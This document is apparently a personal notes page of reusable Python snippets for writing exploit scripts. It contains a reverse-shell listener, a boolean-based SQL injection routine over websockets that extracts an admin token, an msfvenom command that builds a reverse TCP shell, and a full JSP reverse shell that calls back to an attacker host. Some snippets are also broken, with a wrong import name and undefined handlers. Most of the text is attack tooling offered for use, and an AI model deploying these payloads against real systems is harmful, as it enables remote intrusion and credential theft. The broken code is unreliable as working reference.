Helpful Python Methods

Define argument parsing only if the file is being run directly, not imported by another script.

import argparse

if __name__ == "__main__":
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t','--target', help='Target IP', required=True)
    parser.add_argument('-p','--port', help='Target port', required=False)
    parser.add_argument('-lh','--lhost',help='Local IP',required=False)
    parser.add_argument('-lp','--lport',help='Local port for listener',required=False)
    parser.add_argument('-d','--debug', help='Instruct our web requests to use a proxy', action='store_true', required=False)
    parser.add_argument('-v','--verbose', help='Enable verbose tracing with our websocket', action='store_true', required=False)
    args = parser.parse_args()
    
    # Set some variables
    target_ip = args.target
    url = f"http://{args.target}"
    if args.port:
        url = f"{url}:{args.port}"
    lhost = args.lhost
    lport = args.lport
    
    # Debugging
    if args.debug:
        print('Degguging Enabled, requests will be sent through Burp.')
        proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
    else:
        proxies = ''
        
    # H4ck the things
    initiate(url, args.debug, args.verbose)

The following method defines a threaded HTTP server. The method can just be called directly and it will start in a new thread.

from http.server import HTTPServer, SimpleHTTPRequestHandler

def http_server():
    server = HTTPServer(('0.0.0.0',80),SimpleHTTPRequestHandler)
    server_thread = threading.Thread(target=server.serve_forever)
    server_thread.start()

The following defines a telnet listener method and the code used to spawn it in a non-blocking thread. Unlike the threaded HTTP server, it has to be started outside of the telnet_handler() method, as shown below.

import telnetlib
import socket
import threading

def telnet_handler(port: int):
    """
    starts a telnet server and acts as a hacky shell handler
    """
    print(f"Starting handler on {port}")
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 2)  # make it stop whining about address reuse
    # port has to be an integer
    s.bind(('0.0.0.0', port))  # listen from every interface and bind to user defined port
    s.listen(1)
    conn, addr = s.accept()  # Accepts incoming connection
    print(f"Recieved connection from {addr[0]}")  # Recieved connection from <victim IP>
    t.sock = conn
    t.interact()  # foregrounds the reverse shell

# Starts threaded handler listener, should be the same for every script
handlerthread = threading.Thread(target=telnet_handler, args=(int(lport),))
handlerthread.start()

The following methods enable base64 encoding and decoding of a string.

import base64

def b64_encode(s):
    s_bytes = s.encode("ascii")
    b64_bytes = base64.b64encode(s_bytes)
    b64_str = b64_bytes.decode("ascii")
    return b64_str

def b64_decode(s):
    b64_bytes = s.encode("ascii")
    string_bytes = base64.b64decode(b64_bytes)
    string_str = string_bytes.decode("ascii")
    return string_str

The following methods are used so I don't have to keep retyping the entire r = requests.post() thing every time.

import requests

def post_req(uri,params):
    r = requests.post(uri, data=params, verify=False, proxies=proxies, headers={"Content-Type":"application/x-www-form-urlencoded"})
    return r

def get_req(uri,params):
    r = requests.get(uri, params=params, verify=False, proxies=proxies)
    return r

def login_sess(s,uri,params):
    r = s.post(uri, data=params, verify=False, proxies=proxies, headers={"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8"})
    return r

def post_sess(s,uri,params,ctype,atype,auth):
    r = s.post(uri, data=params, verify=False, proxies=proxies, headers={"Content-Type":ctype,"Accept":atype,"Authorization":"Basic "+auth})
    return r
    
def get_sess(s,uri,params):
    r = s.get(uri, params=params, verify=False, proxies=proxies)
    return r

The following defines a method that allows a string to be URL sanitized prior to being sent through a requests POST or GET.

def url_escape(s):
    # This function is used to perform the required url escaping for body/query parameters
    s = s.replace("%","%25") # This has to be first in list
    s = s.replace("{", "%7b")
    s = s.replace("}","%7d")
    s = s.replace("\"","%22")
    s = s.replace(":","%3a")
    s = s.replace(",","%2c")
    s = s.replace("@","%40")
    s = s.replace("<","%3c")
    s = s.replace(">","%3e")
    s = s.replace("+", "%2b")
    s = s.replace("=", "%3d")
    s = s.replace("\\","%5c")
    s = s.replace("/", "%2f")
    s = s.replace("|", "%7c")
    s = s.replace("[", "%5b")
    s = s.replace("]", "%5d")
    s = s.replace(" ", "+") # [Space] -> + (Keep as last line)
    return s

The following method will save a b64 string to a file. I used this to save a precompiled java .class files, but am thinking it would probably be cleaner to just store the raw .java as a variable in the script, then use os calls to compile it from within the script itself.

import os

def save_file(f,d):
    os.system('echo %s | base64 -d > %s' % (d,f))

The following code can be used to set up a websocket connection then execute boolean-based sql injection over it.

import re
import websocket # pip package should be websocket-client
import _thread as thread
from threading import Events

def getAdminToken(message):
    if 'case 3' in message:
        global tokenStatus
        tokenStatus = True
        event.set()
    elif 'case 4' in message:
        event.set()

def getAuthToken(message):
    if 'token' in message:
        global token
        token = re.findall('.*"token":"(.*)"', message)[0]
        event.set()

def getPostLogin(message):
    if 'case 1' in message:
        print('Case 1 happened...')
        event.set()
    elif 'case 2' in message:
        print('Case 2 happened...')
        event.set()

def on_message(ws, message):
    getAdminToken(message)
    getAuthToken(message)
    getPostLogin(message)

def sqli_extract(ws, injStr):
    for c in range(32, 127): # range of all ascii printable chars
        if c == 34: # skip bad char: `"`; remove unless required in actual script
          continue
        else:
            global tokenStatus
            tokenStatus = False
            print("\r"+adminToken+chr(c), end='')
            data = '0["route",{"tokenName":"%s","searchParam":"a%s"}]' % (token, injStr.replace("[CHAR]", chr(c)))
            ws.send(data)
            event.wait()
            event.clear()
            if tokenStatus:
                return chr(c)

def on_open(ws):
    print("### Initiating new websocket connection ###")
    # Define Thread
    def run(*args):
        while True:
			# Dump Admin AuthToken
			print("Performing boolean-based sqli for admin token...")
			global adminToken
			adminToken = ''
			for p in range(1, 32): # tokens are all 32 chars
			    injStr = "%s' AND SUBSTRING((SELECT token FROM AuthTokens WHERE UserId = 1), %d, 1) = '[CHAR]';#" % ('%',p)
			    validChar = sqli_extract(ws, injStr)
			    adminToken += validChar
			    print(f"\rAdmin Token: {adminToken}")
			    
    # Run thread, run.
    thread.start_new_thread(run, ())

def initiate(target, debug, verbose):
    # create shared event object
    global event
    event = Event()
    uri = "ws://%s/socket.io/?EIO=3&transport=websocket&t=NMxgB5J&sid=" % target
    websocket.enableTrace(verbose)
    ws = websocket.WebSocketApp(uri,
        on_message = on_message,
        on_error = on_error,
        on_close = on_close)
    ws.on_open = on_open
    if debug:
        ws.run_forever(http_proxy_host='127.0.0.1', http_proxy_port=8080, proxy_type='http')
    else:
        ws.run_forever()

# H4ck the things
initiate(target, args.debug, args.verbose)

The os class can be used to leverage java on the host machine to perform some actions, in this case feeding in variables set earlier in the scripts execution to a compiled java .class file to generate a list of tokens using logic copied from a web applications source code. The save_file method can be used to save a base64 encoded version of the .class file to prevent potential compilation errors if trying to executed javac on the users host.

import os

os.system(f'java answersToken {seed_start} {seed_stop} {userId} > tokens.txt')

This same approach can be used for any action that would typically require the user to perform something prior to executing the script, in order to stage files for the script to utilize. Here it creates a new msfvenom shell on the attackers machine at execution time, using arg parsed vars for lhost and lport. This could even be tweaked to set things like payload type with arg vars as well.

import os

os.system(f'msfvenom -p linux/x64/shell_reverse_tcp LHOST={lhost} LPORT={lport} -f elf -o file')

The following is used to create a plaintext version of a reverse shell with arg parsed vars. In this case, it is a JSP reverse shell.

#genereated with msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.119.xxx LPORT=443 -f raw then convereted to use variables for LHOST and LPORT
rvsh = "<%@page import=\"java.lang.*\"%>"
rvsh += "<%@page import=\"java.util.*\"%>"
rvsh += "<%@page import=\"java.io.*\"%>"
rvsh += "<%@page import=\"java.net.*\"%>"
rvsh += "<%"
rvsh += "  class StreamConnector extends Thread"
rvsh += "  {"
rvsh += "    InputStream es;"
rvsh += "    OutputStream yx; "
rvsh += "    StreamConnector( InputStream es, OutputStream yx )"
rvsh += "    {"
rvsh += "      this.es = es;"
rvsh += "      this.yx = yx;"
rvsh += "    }"
rvsh += "    public void run()"
rvsh += "    {"
rvsh += "      BufferedReader nz  = null;"
rvsh += "      BufferedWriter mvp = null;"
rvsh += "      try"
rvsh += "      {"
rvsh += "        nz  = new BufferedReader( new InputStreamReader( this.es ) );"
rvsh += "        mvp = new BufferedWriter( new OutputStreamWriter( this.yx ) );"
rvsh += "        char buffer[] = new char[8192];"
rvsh += "        int length;"
rvsh += "        while( ( length = nz.read( buffer, 0, buffer.length ) ) > 0 )"
rvsh += "        {"
rvsh += "          mvp.write( buffer, 0, length );"
rvsh += "          mvp.flush();"
rvsh += "        }"
rvsh += "      } catch( Exception e ){}"
rvsh += "      try"
rvsh += "      {"
rvsh += "        if( nz != null )"
rvsh += "          nz.close();"
rvsh += "        if( mvp != null )"
rvsh += "          mvp.close();"
rvsh += "      } catch( Exception e ){}"
rvsh += "    }"
rvsh += "  }"
rvsh += "  try"
rvsh += "  {"
rvsh += "    String ShellPath;"
rvsh += "  ShellPath = new String(\"/bin/sh\");"
rvsh += "    Socket socket = new Socket( \""+host_ip+"\", "+host_port+" );"
rvsh += "    Process process = Runtime.getRuntime().exec( ShellPath );"
rvsh += "    ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();"
rvsh += "    ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();"
rvsh += "  } catch( Exception e ) {}"
rvsh += "%>"

The following methods define my shoddy "logging", because I can't be bothered reading up on the actual logging module right now.

def log_info(s):
    print(f"[+] {s}")

def log_success(s):
    print(f"[*] {s}")

def log_fail(s):
    print(f"[-] {s}")

def log_error(s):
    print(f"[!] {s}")

Boolean-Based SQL Injection

def sqli_extract(ws, injStr):
    for c in range(32, 127): # range of all ascii printable chars
        tokenStatus = False
        print("\r"+adminToken+chr(c), end='')
        data = '0["route",{"tokenName":"%s","searchParam":"a%s"}]' % (token, injStr.replace("[CHAR]", chr(c)))
        # POST Data with requests
        # if statement to break if proper string or whatever identifier is in response

adminToken = ''
for p in range(1, 32): # tokens are all 32 chars
    injStr = "%s' AND SUBSTRING((SELECT token FROM AuthTokens WHERE UserId = 1), %d, 1) = '[CHAR]';#" % ('%',p)
    validChar = sqli_extract(ws, injStr)
    adminToken += validChar
    print(f"\rAdmin Token: {adminToken}")


Requests - POST multipart/form-data

Better still, you can further control the filename, content type and additional headers for each part by using a tuple instead of a single string or bytes object. The tuple is expected to contain between 2 and 4 elements; the filename, the content, optionally a content type, and an optional dictionary of further headers.

I'd use the tuple form with None as the filename, so that the filename="..."parameter is dropped from the request for those parts:

```python
>>> files = {'foo': 'bar'}
>>> print(requests.Request('POST', 'http://httpbin.org/post', files=files).prepare().body.decode('utf8'))
--bb3f05a247b43eede27a124ef8b968c5
Content-Disposition: form-data; name="foo"; filename="foo"

bar
--bb3f05a247b43eede27a124ef8b968c5--


>>> files = {'foo': (None, 'bar')}
>>> print(requests.Request('POST', 'http://httpbin.org/post', files=files).prepare().body.decode('utf8'))
--d5ca8c90a869c5ae31f70fa3ddb23c76
Content-Disposition: form-data; name="foo"

bar
--d5ca8c90a869c5ae31f70fa3ddb23c76--